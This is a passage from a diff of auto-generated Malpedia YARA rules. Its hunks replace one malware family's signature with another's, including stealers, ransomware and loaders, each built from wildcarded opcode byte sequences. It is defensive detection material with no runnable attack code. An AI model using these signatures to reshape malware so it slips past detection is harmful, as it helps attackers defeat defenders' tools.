33c0 eb0a b917d90000 e8???????? } + $sequence_6 = { 7511 b9d7d80000 e8???????? 8907 } + $sequence_7 = { 750f b955960100 e8???????? e9???????? } + $sequence_8 = { 7414 3c7a 7508 8b4610 803874 7408 41 } + $sequence_9 = { 83caff 8bcf e8???????? 83caff } + $sequence_10 = { 7419 8b542408 83fa01 7c10 0fbf4846 } + $sequence_11 = { 744e 0fb74802 83e103 3bcb } + $sequence_12 = { 7508 85f6 7404 c6464101 5e c3 } + $sequence_13 = { 1ac9 2403 80e110 8ad1 3c02 7509 } + $sequence_14 = { 7505 89410c 8bc1 ffb42484000000 } + $sequence_15 = { 85c0 742c 8bd6 8bcb } + $sequence_16 = { e8???????? 8b5720 8bce e8???????? 8b5724 } + $sequence_17 = { 8b4d34 894c245c dd85b8fbffff dd5c2454 } + $sequence_18 = { 014710 83571400 83c301 8bbe4c010000 8355fc00 } + $sequence_19 = { 8b4d18 8901 895104 e9???????? } + $sequence_20 = { 015e58 8bd7 8b4e60 83565c00 } + $sequence_21 = { 015f28 8bc2 13472c 89472c } + $sequence_22 = { 8b4d14 898d38ffffff 8b8580000000 898534ffffff } + $sequence_23 = { 8b4d20 894c2468 8b4d5c 894c2464 } + $sequence_24 = { 8b4d18 8b09 81c1fc030000 8b448808 } + $sequence_25 = { 014e10 134614 837de000 894614 } + $sequence_26 = { 8b4d24 894c247c dd85b0fbffff dd5c2474 } + $sequence_27 = { 8b4d28 898d30ffffff 8b958c000000 89952cffffff } + $sequence_28 = { 018330af0100 8b45d8 85c0 7416 } + $sequence_29 = { 8b4d18 8b09 83c101 81c1fc030000 } condition: - 7 of them and filesize < 742400 + 7 of them and filesize < 17138688 } -rule MALPEDIA_Win_Beatdrop_Auto : FILE +rule MALPEDIA_Win_Gold_Dragon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7fbd33c7-5e5a-5775-9e75-19a0333e1225" + id = "991ba939-2d9f-52cd-813d-6925dfb8d9c9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.beatdrop" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.beatdrop_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gold_dragon_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "b158347b6f43a3a62739d069377789597416764bca18afcdaffdbcf2df1f7202" + logic_hash = "1d3ddf008eb509566d50c074a1778063d25aa540d5f914350cb60f472b9c159b" score = 75 quality = 75 tags = "FILE" @@ -125519,32 +125396,32 @@ rule MALPEDIA_Win_Beatdrop_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 47339c8d000c0000 413384bd00080000 4133948d00080000 44335d60 0fb6d8 0fb6cc 4189d1 } - $sequence_1 = { 33557c 413384bd000c0000 4489cf 334578 41c1eb18 } - $sequence_2 = { 443385a4000000 450fb6d2 4733849500040000 450fb6d7 } - $sequence_3 = { 4c3b6610 740f 4c89e1 e8???????? } - $sequence_4 = { 4409c8 4133470c 448b7c2418 89aef8000000 } - $sequence_5 = { 47338495000c0000 4189c2 0fb6cd 41c1ea10 443385a4000000 450fb6d2 4733849500040000 } - $sequence_6 = { c1ea10 338590000000 458b74b500 4489c1 0fb6d2 } - $sequence_7 = { 41c1ef18 0fb6cd 44897c2418 894c2404 89c1 0fb6c0 c1e918 } - $sequence_8 = { c1e818 4489d1 450fb6da 418b448500 41338495000c0000 } - $sequence_9 = { 4133948c00080000 89c1 0fb6ef 440fb6c2 } + $sequence_0 = { 8890e0924000 eb1c f6c202 7410 8088????????20 8a9405ecfcffff } + $sequence_1 = { 8bc8 83e01f c1f905 8d04c0 8b0c8d00954000 8d44810c 50 } + $sequence_2 = { 85c0 a3???????? 0f84ad060000 8b35???????? 68???????? } + $sequence_3 = { 8bf1 8bc1 c1fe05 83e01f 8b34b500954000 8d04c0 8b0486 } + $sequence_4 = { 41 8079ff00 0f8547ffffff 8bc6 8088e193400008 } + $sequence_5 = { 8d8560ffffff 68???????? 50 e8???????? ffb64c834000 8d8560ffffff 50 } + $sequence_6 = { 51 ffd6 85c0 a3???????? 0f84dd030000 8b15???????? } + $sequence_7 = { 50 ffd6 85c0 a3???????? 0f8478060000 } + $sequence_8 = { 83e01f 8b0c8d00954000 8d04c0 8d0481 8b4dfc } + $sequence_9 = { 68???????? 50 ffd6 85c0 a3???????? 0f84d8050000 8b0d???????? } condition: - 7 of them and filesize < 584704 + 7 of them and filesize < 90112 } -rule MALPEDIA_Win_Taleret_Auto : FILE +rule MALPEDIA_Win_Dustpan_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "09104a61-10e4-51be-8fcd-72ca4b899ef9" + id = "c9c878b8-cad8-5a19-8f4e-78ad38029b7f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taleret" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.taleret_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dustpan" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dustpan_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "4f3dbb090232b14fe9d8fb1c04016f4bef98cd25096fea3fc24c423d5e08c994" + logic_hash = "5224f428476ca9b9e044abefc44ce9a53e06974708bc3448eb44f67994867ab4" score = 75 quality = 75 tags = "FILE" @@ -125558,32 +125435,32 @@ rule MALPEDIA_Win_Taleret_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 89442430 8bf8 8bc1 8bf5 55 c1e902 f3a5 } - $sequence_1 = { 85c0 741b 8b4c241c 51 ffd3 8b542410 } - $sequence_2 = { 51 68???????? 52 e8???????? 50 8d4c2414 c644243802 } - $sequence_3 = { 8d4c242c c78424a8030000ffffffff e8???????? 56 e8???????? 83c404 8b7c2410 } - $sequence_4 = { 85ff 896c2420 7e2a 8b4c2440 8d442420 } - $sequence_5 = { 85c0 0f84a6000000 50 51 } - $sequence_6 = { 50 e8???????? 8d8eb0010000 8d542434 51 68???????? 52 } - $sequence_7 = { 51 ffd6 85c0 7536 ff15???????? 83f87a } - $sequence_8 = { ff15???????? 8bd8 3bde 895c2420 750d 5f } - $sequence_9 = { 8b4c2424 c644310100 8d4c2430 e8???????? 50 } + $sequence_0 = { 4533c0 4c891d???????? e8???????? 488d0d32010000 4883c420 5b e9???????? } + $sequence_1 = { b9ff000000 e8???????? 488bfb 4803ff 4c8d2d45eb0000 } + $sequence_2 = { 488d0d19a80100 33d2 c744242800000008 895c2420 ffd0 488b4d00 4833cc } + $sequence_3 = { 4c8be7 4c8bf7 49c1fe05 4c8d3dffb60000 } + $sequence_4 = { 488d05fb0a0100 eb04 4883c014 8918 e8???????? 4c8d15e30a0100 4885c0 } + $sequence_5 = { 7440 66448923 8a45d8 4b8b8cf8e0d00100 88443109 8a45d9 } + $sequence_6 = { e9???????? 488d0d45010000 e9???????? 4883ec28 488d0d12910000 e8???????? 488d0d39010000 } + $sequence_7 = { 488bca 48c1f905 4c8d0533760100 83e21f } + $sequence_8 = { 4889442420 e8???????? 488d8380000000 803800 741d 4c8d0df2bc0000 41b802000000 } + $sequence_9 = { 894704 e9???????? 488d0d351f0100 48394c2458 7427 } condition: - 7 of them and filesize < 73728 + 7 of them and filesize < 282624 } -rule MALPEDIA_Win_Lechiket_Auto : FILE +rule MALPEDIA_Win_Bottomloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "08dac53f-197a-5416-a7db-8f3c1de4ec77" + id = "bdd8fe32-22cd-5060-a395-421a392e2bd1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lechiket" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lechiket_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bottomloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bottomloader_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "fc33b6d2e9f07c53a0ef858e0194b9a6cf5341ef888af832ba9746c5214aaca1" + logic_hash = "b7681a0b4dfc773cac57468dbf0ac81e795dbff01a4fc0df233a09abd9d3252c" score = 75 quality = 75 tags = "FILE" @@ -125597,32 +125474,32 @@ rule MALPEDIA_Win_Lechiket_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 57 ff15???????? 3d02010000 7519 56 ff15???????? 53 } - $sequence_1 = { 57 eb4b 8a16 80fac0 } - $sequence_2 = { 740f 47 3b7d0c 76d6 33c0 } - $sequence_3 = { 51 ff7518 8365fc00 ff7514 8d4510 } - $sequence_4 = { c786????????1a000000 8a550b 8bcb ff15???????? 5f 5e } - $sequence_5 = { ff750c e8???????? 85c0 0f84bdfdffff 8b4df8 8d7c0f01 8d480a } - $sequence_6 = { 85d2 7505 b80d0000c0 85ff 5e 740c 85c0 } - $sequence_7 = { e8???????? 84c0 7504 fec0 eb1c 53 8bce } - $sequence_8 = { 33f6 39750c 57 7613 ff15???????? 88843500ffffff 46 } - $sequence_9 = { 8945f8 8d45d0 6808070000 50 } + $sequence_0 = { e8???????? 488d3537d60700 488975c8 48c745c00e000000 488d4dc0 e8???????? 488d051bd60700 } + $sequence_1 = { e8???????? 4889c6 488d0579400600 488945c8 48c745c016000000 488d55c0 48899578feffff } + $sequence_2 = { 48897de8 e8???????? 4889c7 4885ff 746f 488d0ddcda0700 e8???????? } + $sequence_3 = { 4889bdd8fdffff 8b05???????? 65488b0c2558000000 488b14c1 bbf0090000 4c8b441a08 4c0b041a } + $sequence_4 = { 488975f8 488d55f0 488d8d70ffffff e8???????? 488d8d70ffffff e8???????? 488b9d60ffffff } + $sequence_5 = { ba43010000 488d0d57dc0700 e8???????? 4d8b542408 410fb63412 eb05 beff000000 } + $sequence_6 = { 488d0dc5800b00 4883ec20 e8???????? 4883c420 48898550ffffff 48899558ffffff 4c8b8550ffffff } + $sequence_7 = { c3 48895518 488d058b140b00 488945f8 48c745f027000000 488d55f0 8bce } + $sequence_8 = { 7442 4883fa02 7472 e9???????? 4d8bc4 488d5520 488d8db0feffff } + $sequence_9 = { 4531c0 ba86100000 488d0db8fd0500 e8???????? 4a8d0c0b 488b55f8 e8???????? } condition: - 7 of them and filesize < 331776 + 7 of them and filesize < 1955840 } -rule MALPEDIA_Win_Catchamas_Auto : FILE +rule MALPEDIA_Win_Scanpos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8b847b40-e879-5e63-94f7-59f1fcf23399" + id = "ea54b41f-0e3e-59d0-9d34-b01116c8bd16" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.catchamas" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.catchamas_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scanpos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scanpos_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "cfbaa74a75beb0fd45948dc9b52c0976cafb521d914a50e8e394b7e70fd341de" + logic_hash = "d918dbccd253554c0b76ec27fc4d9c167e1c0563dfe60b916ccc540524fa3716" score = 75 quality = 75 tags = "FILE" @@ -125636,32 +125513,32 @@ rule MALPEDIA_Win_Catchamas_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 84c9 75f1 833d????????ff 740c 8db42470100000 } - $sequence_1 = { 40 e8???????? 85db 7411 } - $sequence_2 = { 8bf1 897c2418 c644241c00 e8???????? 68???????? } - $sequence_3 = { 83d200 8955d0 7554 83f8ff } - $sequence_4 = { 6a14 81e300800000 ffd7 83e001 33c9 8bff baba000000 } - $sequence_5 = { ff15???????? 56 8be8 55 53 } - $sequence_6 = { 6a00 52 c745dc00000000 e8???????? 8b45dc 6a00 8d4de8 } - $sequence_7 = { 8b45e0 7409 e8???????? 8bfc eb32 83c9ff } - $sequence_8 = { 66894e14 5e 8b8c2404080000 33cc e8???????? } - $sequence_9 = { e8???????? 682000cc00 53 53 56 57 55 } + $sequence_0 = { 64a300000000 8b4508 33d2 c745e80f000000 8955e4 } + $sequence_1 = { 3ad3 75f9 2bc1 8bd0 } + $sequence_2 = { e8???????? 83c404 8b0d???????? 8939 8b15???????? 893a } + $sequence_3 = { 8d85e8feffff 50 51 68???????? 68???????? e8???????? 83c40c } + $sequence_4 = { 53 52 ffd0 3bc3 7508 3bd7 } + $sequence_5 = { e9???????? 8db5acfeffff e9???????? 8b542408 8d420c 8b8a8cfeffff 33c8 } + $sequence_6 = { e8???????? 03c8 8b4608 2bc2 3bc8 } + $sequence_7 = { 50 8d45f4 64a300000000 8b4508 8918 8b0b } + $sequence_8 = { 3bfb 0f82b9fdffff 837de810 720c 8b4dd4 } + $sequence_9 = { 6aff 68???????? 53 ff15???????? 85c0 0f95c3 837dcc10 } condition: - 7 of them and filesize < 368640 + 7 of them and filesize < 229376 } -rule MALPEDIA_Win_Mofksys_Auto : FILE +rule MALPEDIA_Win_Linseningsvr_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e9191181-2227-59a8-bd61-7f1cd7036f61" + id = "68c65b63-e40e-59ed-9f87-895cfc0dec94" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mofksys" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mofksys_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.linseningsvr" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.linseningsvr_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "8771c5394499398335ed69edffdfbaf6278241ddeb464ebd5620f11ca11db156" + logic_hash = "e8f369f7ec61592e2a3b3fecf4bc420063f67a74461c185ad8f3d77705dffe45" score = 75 quality = 75 tags = "FILE" @@ -125675,32 +125552,32 @@ rule MALPEDIA_Win_Mofksys_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 50 ff15???????? 51 d91c24 ff15???????? 8bd0 } - $sequence_1 = { c1e003 eb0c ff15???????? 8b8dfcfeffff 8b590c 8b0c03 03d8 } - $sequence_2 = { c78558ffffff00000000 c745fcab000000 8b8d6cffffff 83c128 898d54ffffff c745fcac000000 ba???????? } - $sequence_3 = { ff15???????? 8bd0 8d4db0 ff15???????? 8d8d50fdffff ff15???????? c745fc07000000 } - $sequence_4 = { 8d4db4 ff15???????? e9???????? c745fc0a000000 833d????????00 } - $sequence_5 = { 83c410 6685f6 7413 668b0d???????? 51 ff15???????? e9???????? } - $sequence_6 = { 50 8b4dc8 51 6a01 ff15???????? 50 8b55a4 } - $sequence_7 = { c78540ffffff7ca44000 c78538ffffff08000000 ff15???????? 8b4dc0 68???????? 51 ffd7 } - $sequence_8 = { 50 8b5508 8b02 50 e8???????? ffd7 8b4da4 } - $sequence_9 = { 52 ff15???????? 8bd0 8d4dcc ff15???????? c745fc27000000 8b4dc8 } + $sequence_0 = { 33c0 8dbc24dd090000 c644241000 f3ab 66ab aa } + $sequence_1 = { 8d542464 6a01 52 89442464 894c2468 e8???????? } + $sequence_2 = { 8dbc24dd090000 c644241000 f3ab 66ab } + $sequence_3 = { 8b0485c08d4000 03c6 8a5004 f6c201 } + $sequence_4 = { e8???????? 57 e8???????? 83c418 8d44244c } + $sequence_5 = { 742e 85f6 7419 0fb6da f683818c400004 } + $sequence_6 = { c705????????01000000 50 a3???????? e8???????? 8db6bc884000 } + $sequence_7 = { e8???????? 83c40c c3 53 56 be???????? 57 } + $sequence_8 = { 8a4c3c4c 51 68???????? e8???????? 83c408 } + $sequence_9 = { e8???????? 83c404 ebc2 8b0d???????? 68???????? 51 } condition: - 7 of them and filesize < 401408 + 7 of them and filesize < 81360 } -rule MALPEDIA_Win_Flying_Dutchman_Auto : FILE +rule MALPEDIA_Win_Ranbyus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3fa79262-0c02-5cc9-a3a6-873095c530cc" + id = "54de3fda-fe2a-5da1-b66d-8d3ced40b618" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flying_dutchman" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flying_dutchman_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ranbyus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ranbyus_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "d533074e01136dd41c79c95680e27071c66cb57e7811b397b8be14c8164a2230" + logic_hash = "82fa28b1862a5e88eb758d7dfc3440cfe7dde7bd4fcf686642cc7b0948f4efb1" score = 75 quality = 75 tags = "FILE" @@ -125714,32 +125591,32 @@ rule MALPEDIA_Win_Flying_Dutchman_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 899c2480400000 897c2418 3bc7 7d42 8b5c2410 e8???????? 8b5c2414 } - $sequence_1 = { 8b5104 895008 8b09 894804 833801 } - $sequence_2 = { 83a588fdffff00 899d8cfdffff c68578fdffff00 c645fc05 ff15???????? 50 8d85e8fdffff } - $sequence_3 = { 8b8574f7ffff 8985c0fdffff 8b8578f7ffff 8985c4fdffff 6804010000 8d858cf9ffff 50 } - $sequence_4 = { 83e800 747a 48 7459 48 0f858c000000 8b3d???????? } - $sequence_5 = { ff7508 e8???????? 8bd8 53 57 } - $sequence_6 = { 75f2 8b35???????? 57 57 ffd6 898570ffffff 3bc7 } - $sequence_7 = { 663bcf 75ed e9???????? 83f806 751a 33c0 } - $sequence_8 = { c1e606 03348560e90110 c745e401000000 33db 395e08 } - $sequence_9 = { 3bf3 7405 e8???????? 6a05 ff15???????? 399d68deffff } + $sequence_0 = { 68???????? e8???????? 83c40c 33c0 eb03 83c8ff 5f } + $sequence_1 = { 59 85ff 743e 56 6a01 } + $sequence_2 = { 83661800 33c0 5e c3 56 } + $sequence_3 = { 89460c 8b06 59 894604 } + $sequence_4 = { 55 8d6c2490 81ec28010000 56 } + $sequence_5 = { 3b4c2404 7504 83601800 33c0 40 eb11 50 } + $sequence_6 = { 6801200000 e8???????? 8bf0 59 } + $sequence_7 = { 83c605 e9???????? 47 e9???????? 0fb64e01 } + $sequence_8 = { e8???????? 85c0 7504 83c8ff c3 c7402401000000 33c0 } + $sequence_9 = { c706???????? eb07 8bce e8???????? 837e0400 75f3 } condition: - 7 of them and filesize < 276480 + 7 of them and filesize < 638976 } -rule MALPEDIA_Win_Blackmatter_Auto : FILE +rule MALPEDIA_Win_Sysraw_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f72bfe88-212a-5b08-bbca-50aa064e9cc7" + id = "c0b55ef6-5e72-5427-8051-b4c3cd8766ea" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmatter" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackmatter_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysraw_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sysraw_stealer_auto.yar#L1-L113" license_url = "N/A" - logic_hash = "e535a5032543c492ff373af34088a44c3884afdd41efbf279f3f7738c128e9a0" + logic_hash = "c61c4a8b05627678a7ba0afb4e01a7aec8181a910b716ed57582ec5bcddd612c" score = 75 quality = 75 tags = "FILE" @@ -125753,32 +125630,32 @@ rule MALPEDIA_Win_Blackmatter_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? ebe7 837dd400 7408 ff75d4 } - $sequence_1 = { 807eff2e 7502 eb02 eb05 } - $sequence_2 = { 8d45f4 50 ff15???????? 83c40c 6a0a } - $sequence_3 = { 0f858c000000 83bdacfdffff00 7509 83bdb0fdffff00 747a } - $sequence_4 = { 740e ff75f0 ff15???????? 5b 8be5 } - $sequence_5 = { ff15???????? 85c0 753a 64813d34000000b7000000 } - $sequence_6 = { c745f000000000 ff7508 ff15???????? 83c404 85c0 0f848a010000 } - $sequence_7 = { 66ab 648b1d30000000 ff731c ff15???????? 8b7310 8d4638 ff35???????? } - $sequence_8 = { 85f6 745e 687c010000 56 ff75e8 ff15???????? } - $sequence_9 = { 85c0 7510 807eff2d 7406 807eff2e 7502 eb02 } + $sequence_0 = { ffd3 8bd0 8d8decfeffff ffd6 8b4d90 8d9580feffff 83c114 } + $sequence_1 = { 56 ff512c 8b55bc 8b06 8d8d54feffff } + $sequence_2 = { 33c9 8955bc 894de4 ba3f000000 } + $sequence_3 = { 6a0d 57 56 ff5238 } + $sequence_4 = { 8bf8 ffd6 3bfb 7472 } + $sequence_5 = { 8b8df8feffff 8b85f4feffff 898d24feffff 8b8df0feffff 898d1cfeffff } + $sequence_6 = { 8b550c 8b06 51 52 56 } + $sequence_7 = { 2bd7 6a00 42 83ec08 895590 db4590 } + $sequence_8 = { 8bd0 8b45d4 51 f7da } + $sequence_9 = { 50 ffd3 8bd0 8d8d24ffffff ffd6 } condition: - 7 of them and filesize < 194560 + 7 of them and filesize < 1540096 } -rule MALPEDIA_Win_Jupiter_Auto : FILE +rule MALPEDIA_Win_Kuaibu8_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "75f69a27-2335-5e55-aba0-ab6c4b24c511" + id = "755c9fef-12d3-5450-97c1-5338be93504a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jupiter" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jupiter_auto.yar#L1-L113" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kuaibu8" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kuaibu8_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "9a9545049cbc95230bffe2c6ee7b65da4bdadff47104616baed37c8cd6306b50" + logic_hash = "fc318523e53f24e8818ee766d5be4e6f49732099f739761d424c7624b095d7ec" score = 75 quality = 75 tags = "FILE" @@ -125792,32 +125669,32 @@ rule MALPEDIA_Win_Jupiter_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c605????????01 66c705????????0101 c605????????01 c605????????01 } - $sequence_1 = { 8a4147 884104 8a4146 884105 8b4144 c1f808 884106 } - $sequence_2 = { 884104 8a4146 884105 8b4144 c1f808 884106 8a4144 } - $sequence_3 = { 8a4146 884105 8b4144 c1f808 884106 } - $sequence_4 = { c605????????01 c605????????01 66c705????????0101 c605????????01 } - $sequence_5 = { 8a4147 884104 8a4146 884105 } - $sequence_6 = { c605????????01 66c705????????0101 c605????????01 c605????????01 66c705????????0101 c605????????01 } - $sequence_7 = { 884104 8a4146 884105 8b4144 } - $sequence_8 = { 52 52 6802000000 6803000000 } - $sequence_9 = { 8a4146 884105 8b4144 c1f808 } + $sequence_0 = { ff35???????? b902000000 e8???????? 83c408 8945e0 8b45e0 50 } + $sequence_1 = { 83c404 c1e002 03d8 895db4 8b5de8 e8???????? b804000000 } + $sequence_2 = { 6a10 52 56 6689442416 e8???????? } + $sequence_3 = { 7409 53 e8???????? 83c404 8b5de8 e8???????? } + $sequence_4 = { 895dbc e8???????? 894db8 8b7dbc c70701000000 83c704 8bc1 } + $sequence_5 = { 83c404 58 8945f4 8965ec 8d45f0 50 8b45f4 } + $sequence_6 = { 83f800 0f851e000000 b8???????? 50 8b5d10 8b1b } + $sequence_7 = { b8???????? 8945d8 8d45d8 50 6800000000 ff35???????? 8d45e0 } + $sequence_8 = { 837d1400 0f8507000000 c7451401000000 837d1000 0f85aa020000 6802000080 6a00 } + $sequence_9 = { 53 55 56 8b742430 85f6 57 750a } condition: - 7 of them and filesize < 224112 + 7 of them and filesize < 737280 } -rule MALPEDIA_Win_Keymarble_Auto : FILE +rule MALPEDIA_Win_Webc2_Qbp_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "447d0650-610a-5703-8049-ac11f5ff96b2" + id = "9750d3af-ce6a-5fd6-82be-e974a57fe309" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.keymarble" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.keymarble_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_qbp" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_qbp_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "e486a69a145cdf890bda9b04db818a44b92722887c60b9c58647de19116cd1c1" + logic_hash = "29a4c00125a8c7fc3f2d53e8e3fdae1793d32ea093da5da3654341cbb647aaec" score = 75 quality = 75 tags = "FILE" @@ -125831,32 +125708,32 @@ rule MALPEDIA_Win_Keymarble_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 50 e8???????? 83c404 56 6a40 } - $sequence_1 = { 6a00 6a03 6800000040 57 ffd6 } - $sequence_2 = { ff15???????? e8???????? 99 b907000000 f7f9 } - $sequence_3 = { e8???????? 83c408 85c0 7407 bb7a452301 } - $sequence_4 = { ffd7 50 e8???????? 83c404 e8???????? 8d3470 81e6ffffff7f } - $sequence_5 = { e9???????? 50 6a00 6810040000 } - $sequence_6 = { 85db 7407 53 ff15???????? ff15???????? } - $sequence_7 = { e9???????? 50 6a00 6810040000 ff15???????? } - $sequence_8 = { ff15???????? 85db 7407 53 ff15???????? ff15???????? } - $sequence_9 = { 50 e8???????? 83c404 e8???????? 8d3470 81e6ffffff7f } + $sequence_0 = { 7f12 8b4508 0345fc 33c9 8a08 83e930 894df4 } + $sequence_1 = { 25ffff0000 2500800000 c1f80f 8be5 5d c3 55 } + $sequence_2 = { 8b5508 52 ff15???????? 8d85f0feffff 50 } + $sequence_3 = { 0fbf94414c520000 81fa00100000 7505 e9???????? 0fbf4508 8b4df8 } + $sequence_4 = { 81e1ff000000 51 8b4de4 e8???????? } + $sequence_5 = { aa 837d0800 7564 6800010000 6a00 8d85ecfdffff 50 } + $sequence_6 = { 66898c5038770000 0fbf55f0 8b45ec 668b8c50907e0000 66894df8 } + $sequence_7 = { 668b9176830000 668955fc 8b45f8 668b8876830000 66d1e1 8b55f8 } + $sequence_8 = { 66050100 668945f4 e9???????? 66c745f80000 66c745f43a01 eb18 } + $sequence_9 = { 0fbf5508 0fbf45fc 8b4df8 8b75f8 668b945648100000 6689944148100000 } condition: - 7 of them and filesize < 1146880 + 7 of them and filesize < 630784 } -rule MALPEDIA_Win_Hackbrowserdata_Auto : FILE +rule MALPEDIA_Win_Satana_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fcd73865-5a53-59f1-9e25-a98b05a9abde" + id = "2e802f49-7188-54f8-af9a-7b169267990a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hackbrowserdata" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hackbrowserdata_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satana" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.satana_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "3594c5bb7e78e08e9a84a6093ffe67652863ced1d7b7424d638f7eb8af56002c" + logic_hash = "97eda1bd522e83f5fcc03e351c0ecc778e9c052cbb2ce47bd57943571eacd366" score = 75 quality = 75 tags = "FILE" @@ -125870,32 +125747,32 @@ rule MALPEDIA_Win_Hackbrowserdata_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffc1 4d89ea 4d89fc 4989fd 4d89e7 41394c2428 0f8e0dfaffff } - $sequence_1 = { f20f1005???????? 31db 49c7c0ffffffff eb3d 48890437 488bb424a0000000 4883c618 } - $sequence_2 = { e8???????? 488b542450 48895008 833d????????00 750a 488b9424d8000000 eb10 } - $sequence_3 = { e8???????? e9???????? 488b1d???????? 4881c368960000 488b442478 